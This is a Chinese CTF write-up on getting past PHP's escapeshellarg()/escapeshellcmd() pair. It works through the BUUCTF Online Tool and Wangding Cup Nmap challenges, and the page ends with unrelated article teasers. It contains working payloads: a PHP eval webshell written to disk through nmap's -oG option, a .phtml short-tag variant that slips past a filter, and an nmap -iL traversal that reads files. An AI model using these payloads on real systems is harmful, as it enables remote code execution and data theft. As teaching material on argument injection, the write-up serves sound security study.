PHP escapeshellarg()+escapeshellcmd()绕过

文章目录

    • 函数利用
      • escapeshellarg()函数
      • escapeshellcmd()函数
    • exp执行原理
    • 攻击面
    • 例题 [BUUCTF 2018]Online Tool
    • 例题 [网鼎杯 2020 朱雀组]Nmap


函数利用

escapeshellarg()函数

单引号 ('):转义为 \'。
双引号 ("):转义为 \"。
反斜杠 (\):转义为 \\。
美元符号 ($):转义为 \$。
反引号 (`):转义为 ``````。
感叹号 (!):转义为 \!。
分号 (;):转义为 \;。
大于号 (>):转义为 \>。
小于号 (<):转义为 \<。
垂直线 (|):转义为 \|。
与号 (&):转义为 \&。
空格 ( ):转义为 \ 。

escapeshellcmd()函数

这些转义和规范化操作有助于确保命令字符串在传递给命令行时能够正确解析,并且不会被误认为是命令或其他恶意代码。

执行操作

替换命令字符串中的单引号 (') 为反斜杠和单引号组合 (\')。
替换命令字符串中的双引号 (") 为反斜杠和双引号组合 (\")。
删除命令字符串中的换行符 (\n)。
删除命令字符串中的回车符 (\r)。

exp执行原理

我们来分析下构造的exp

172.17.0.2' -v -d a=1

当进行escapeshellarg()函数处理后,会先进行字符转义,变成如下

172.17.0.2\' -v -d a=1
//然后添加两个单引号到转义的单引号左右,使得两部分括起来从而起到连接的作用
'172.17.0.2'\'' -v -d a=1'

再进行escapeshellcmd()函数处理后
\以及最后那个不配对的单引号进行了转义

'172.17.0.2'\\'' -v -d a=1\'

所以如果利用攻击的话,即向172.17.0.2\发起请求,POST 数据为a=1’
(中间的单引号闭合不用管)

攻击面

如果应用使用escapeshellarg -> escapeshellcmd这样的流程来处理输入是存在隐患的,mail就是个很好的例子,因为它函数内部使用了escapeshellcmd,如果开发人员仅用escapeshellarg来处理输入再传给mail那这层防御几乎是可以忽略的。

如果可以注入参数,那利用就是各种各样的了,例如 PHPMailer 和 RoundCube 中的mail和 Naigos Core 中的 curl都是很好的参数注入的例子。

例题 [BUUCTF 2018]Online Tool

源码

<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}if(!isset($_GET['host'])) {highlight_file(__FILE__);
} else {$host = $_GET['host'];$host = escapeshellarg($host);$host = escapeshellcmd($host);$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);echo 'you are in sandbox '.$sandbox;@mkdir($sandbox);chdir($sandbox);echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

接收参数host,然后经过escapeshellarg -> escapeshellcmd处理,最后执行命令

通过查阅我们知道nmap存在参数-oG可以实现将命令和结果写入文件
我们按照前文的思路,尝试构造
(中间部分的转义可以不去管,不会造成影响)

127.0.0.1 <?php @eval();?> -oG hack.php

如果我们直接传入这个,只会被当成字符串无法写入马
那么我们在传入参数的前面添加单引号,后面空格加单引号

'127.0.0.1 <?php @eval();?> -oG hack.php '

传进去后变成

''127.0.0.1 <?php @eval();?> -oG hack.php ''

经过escapeshellarg函数处理

'\'127.0.0.1 <?php @eval();?> -oG hack.php \''
//在转义的单引号左右添加单引号
''\''127.0.0.1 <?php @eval();?> -oG hack.php '\'''

经过escapeshellcmd函数处理

''\\''127.0.0.1 <?php @eval();?> -oG hack.php '\\'''

执行结果会对目标\127.0.0.1发送命令<?php @eval();?> -oG hack.php \写入文件

最终payload

'127.0.0.1 <?php @eval($_POST["hack"]);?> -oG hack.php '

或者

' <?php @eval($_POST["hack"]);?> -oG hack.php '

在这里插入图片描述
成功写入后命令执行
在这里插入图片描述

例题 [网鼎杯 2020 朱雀组]Nmap

方法和前一题差不多
大概测试了下,语句必须有host值,过滤了php
利用管道符|,短标签和phtml后缀绕过

127.0.0.1 | ' <?=eval($_POST["hack"]);?> -oG hack.phtml '

scan后访问/hack.phtml,命令执行即可
在这里插入图片描述
还有一种利用方法,payload如下

127.0.0.1' -iL ../../../../flag -o 1

执行后,访问/1'即可得到flag
在这里插入图片描述解释一下,该命令拼接到执行语句后为

'127.0.0.1'\\'' -iL ../../../../flag -o 1\'

也就是我们推导的exp执行过程

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/257529.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Linux】Java 程序员必会的 Linux 最常用的命令

文章目录 lsllpwdcdtouchcatechomkdirtreermmvcpvimgreppsnetstat 各位读者好, 我是小陈, 这是我的个人主页, 希望我的专栏能够帮助到你: &#x1f4d5; JavaSE基础: 基础语法, 类和对象, 封装继承多态, 接口, 综合小练习图书管理系统等 &#x1f4d7; Java数据结构: 顺序表, 链…

《使用ThinkPHP6开发项目》 - 项目使用多应用开发

《使用ThinkPHP6开发项目》 - 安装ThinkPHP框架-CSDN博客 《使用ThinkPHP6开发项目》 - 设置项目环境变量-CSDN博客 安装完成ThinkPHP6项目后&#xff0c;项目默认生成为单应用&#xff0c;如需要使用多应用开发&#xff0c;则可按照下面步骤操作 1.删除app\controller文件夹…

21、命令执行

文章目录 一、命令执行概述1.1 基本定义1.2 原理1.3 两个条件1.4 命令执行漏洞产生的原因1.5 管道符号和通用命令符 二、远程命令执行2.1 远程命令执行相关函数2.2 远程命令执行漏洞的利用 三、系统命令执行3.1 相关函数3.2 系统命令执行漏洞利用 四、命令执行漏洞防御 一、命令…

vue的data

类型&#xff1a;Object | Function 限制&#xff1a;组件的定义只接受 function。 详细&#xff1a; Vue 实例的数据对象。Vue 会递归地把 data 的 property 转换为 getter/setter&#xff0c;从而让 data 的 property 能够响应数据变化。对象必须是纯粹的对象 (含有零个或多个…

将程序注册为系统服务

cmd中执行命令&#xff1a; sc create Redis binpath "C:\guet_run1\Redis-x64-5.0.14.1\redis-server.exe" type own start auto displayname "Redis"注意&#xff0c;命令中所有的等号和值之间需要一个空格&#xff08;等号前不要空格&#xff0c;等号后…

【设计模式-4.3】行为型——责任链模式

说明&#xff1a;本文介绍设计模式中行为型设计模式中的&#xff0c;责任链模式&#xff1b; 审批流程 责任链模式属于行为型设计模式&#xff0c;关注于对象的行为。责任链模式非常典型的案例&#xff0c;就是审批流程的实现。如一个报销单的审批流程&#xff0c;根据报销单…

Holynix

信息收集阶段 存活主机探测&#xff1a;arp-scan -l 当然了&#xff0c;正常来说我们不应该使用arp进行探测&#xff0c;arp探测的是arp的缓存表&#xff0c;我们应该利用nmap进行探测&#xff01; nmap -sT --min-rate 10000 192.168.182.0/24 端口探测 nmap -sT --min-rat…

hbuiler中使用npm安装datav

注&#xff1a;datav边框样式目前使用时&#xff1a;适用于网页&#xff0c;不适用于app 1、先安装node 安装、配置Node路径 2、为Node配置环境变量 3、在hbuilder的设置中填写node的路径 配置 4、打开cmd输入npm install jiaminghi/data-view 安装dataV&#xff0c;&…

Python 从入门到精通 学习笔记 Day02

Python 从入门到精通 第二天 今日目标 字符串基本操作、字符串序列操作、输入输出函数 字符串内置方法、运算符、练习之前学习的内容 一、字符串基本操作 在Python中&#xff0c;字符串的转义是指在字符串中使用特殊的字符序列来表示一些特殊字符。 在Python中&#xff0c;字…

网站建设app开发小程序制作|企业软件定制

网站建设app开发小程序制作|企业软件定制 网站建设和软件开发是现代社会非常重要的领域&#xff0c;它们对于企业、机构和个人来说都具有非常大的意义。随着移动互联网的快速发展&#xff0c;小程序制作也逐渐成为一种非常受欢迎的方式。 在过去&#xff0c;建立一个网站需要具…

【头歌系统Python实验】顺序与选择结构

目录 第1关&#xff1a;顺序结构 第2关&#xff1a;选择结构&#xff1a;if-else 第3关&#xff1a;选择结构 &#xff1a; 三元操作符 如果对你有帮助的话&#xff0c;不妨点赞收藏评论一下吧&#xff0c;爱你么么哒&#x1f618;❤️❤️❤️ 第1关&#xff1a;顺序结构 …

Dockerfile介绍

1. DockerFile介绍 dockerfile是用来构建docker镜像的文件&#xff01;命令参数脚本&#xff01; 构建步骤&#xff1a; 1、编写一个dockerfile文件 2、docker build 构建成为一个镜像 3、docker run运行镜像 4、docker push发布镜像&#xff08;DockerHub、阿里云镜像仓库…